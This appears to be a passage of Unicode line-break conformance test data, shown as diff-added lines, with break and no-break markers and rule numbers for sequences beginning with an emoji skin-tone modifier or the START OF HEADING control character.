+× 1F3FB × 0308 × 0020 ÷ 1100 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 1F3FB ÷ 11A8 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1F3FB × 0020 ÷ 11A8 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1F3FB × 0308 ÷ 11A8 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1F3FB ÷ 1160 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1F3FB × 0020 ÷ 1160 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1F3FB × 0308 ÷ 1160 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 1160 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1F3FB × 000A ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1F3FB × 0020 × 000A ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1F3FB × 0308 × 000A ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 000A ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1F3FB × 0085 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1F3FB × 0020 × 0085 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1F3FB × 0308 × 0085 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 0085 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1F3FB × 17D6 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1F3FB × 0020 ÷ 17D6 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1F3FB × 0308 × 17D6 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1F3FB ÷ 0030 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1F3FB × 0020 ÷ 0030 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1F3FB × 0308 ÷ 0030 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 0030 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1F3FB ÷ 0028 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1F3FB × 0020 ÷ 0028 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1F3FB × 0308 ÷ 0028 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 0028 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1F3FB × 0025 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [23.13] PERCENT SIGN (PO) ÷ [0.3]
+× 1F3FB × 0020 ÷ 0025 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 1F3FB × 0308 × 0025 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.13] PERCENT SIGN (PO) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 0025 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 1F3FB ÷ 0024 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1F3FB × 0020 ÷ 0024 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1F3FB × 0308 ÷ 0024 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 0024 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1F3FB × 0022 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 1F3FB × 0020 ÷ 0022 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 1F3FB × 0308 × 0022 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 0022 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 1F3FB × 0020 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [0.3]
+× 1F3FB × 0020 × 0020 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 0020 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 1F3FB × 002F ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 1F3FB × 0020 × 002F ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 1F3FB × 0308 × 002F ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 002F ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 1F3FB × 2060 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1F3FB × 0020 × 2060 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1F3FB × 0308 × 2060 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 2060 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1F3FB × 200B ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1F3FB × 0020 × 200B ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1F3FB × 0308 × 200B ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 200B ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1F3FB ÷ 1F1E6 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1F3FB × 0020 ÷ 1F1E6 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1F3FB × 0308 ÷ 1F1E6 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1F3FB ÷ 261D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1F3FB × 0020 ÷ 261D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1F3FB × 0308 ÷ 261D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 261D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1F3FB ÷ 1F3FB ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1F3FB × 0020 ÷ 1F3FB ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1F3FB × 0308 ÷ 1F3FB ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1F3FB × 0001 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1F3FB × 0020 ÷ 0001 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1F3FB × 0308 × 0001 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 0001 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1F3FB × 200D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1F3FB × 0020 ÷ 200D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1F3FB × 0308 × 200D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 200D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1F3FB ÷ 00A7 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1F3FB × 0020 ÷ 00A7 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1F3FB × 0308 ÷ 00A7 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1F3FB ÷ 50005 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1F3FB × 0020 ÷ 50005 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1F3FB × 0308 ÷ 50005 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 50005 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1F3FB ÷ 0E01 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1F3FB × 0020 ÷ 0E01 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1F3FB × 0308 ÷ 0E01 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1F3FB × 3041 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1F3FB × 0020 ÷ 3041 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1F3FB × 0308 × 3041 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 3041 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0001 × 0023 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0001 × 0020 ÷ 0023 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0001 × 0308 × 0023 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0001 ÷ 2014 ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0001 × 0020 ÷ 2014 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0001 × 0308 ÷ 2014 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0001 × 0009 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0001 × 0020 ÷ 0009 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0001 × 0308 × 0009 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0001 ÷ 00B4 ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0001 × 0020 ÷ 00B4 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0001 × 0308 ÷ 00B4 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0001 × 000B ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0001 × 0020 × 000B ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0001 × 0308 × 000B ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0001 × 0308 × 0020 × 000B ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0001 ÷ FFFC ÷ # × [0.3] <START OF HEADING> (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0001 × 0020 ÷ FFFC ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0001 × 0308 ÷ FFFC ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0001 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0001 × 007D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [13.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0001 × 0020 × 007D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0001 × 0308 × 007D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0001 × 0308 × 0020 × 007D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0001 × 0029 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [13.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0001 × 0020 × 0029 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0001 × 0308 × 0029 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0001 × 0308 × 0020 × 0029 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0001 × 000D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0001 × 0020 × 000D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0001 × 0308 × 000D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0001 × 0308 × 0020 × 000D ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0001 × 0021 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0001 × 0020 × 0021 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0001 × 0308 × 0021 ÷ # × [0.3] <START OF HEADING> (CM1_CM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
